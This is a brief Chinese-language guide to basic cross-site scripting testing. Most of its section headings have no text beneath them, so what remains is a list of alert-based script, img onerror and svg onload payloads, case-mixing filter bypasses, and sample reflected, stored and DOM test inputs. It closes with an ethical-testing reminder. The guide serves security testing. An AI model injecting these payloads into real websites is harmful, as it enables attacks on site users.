XSS(Cross-Site Scripting)测试是Web应用安全测试的重要组成部分。以下是进行XSS小测试的基本方法:
识别输入点:
基本测试向量:
<script>alert('XSS')</script>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
上下文相关测试:
绕过过滤:
<ScRiPt>alert('XSS')</sCriPt>
<img src=x onerror=alert('XSS')>
DOM型XSS测试:
存储型XSS测试:
浏览器开发者工具:
专业工具:
<!-- 测试反射型XSS -->
https://example.com/search?q=<script>alert(1)</script>
<!-- 测试存储型XSS -->
在评论框中提交:<svg/onload=alert('XSS')>
<!-- 测试DOM XSS -->
javascript:eval('alert("XSS")')
记住,XSS测试的目的是发现和修复漏洞,而不是利用它们。始终遵循道德黑客原则进行测试。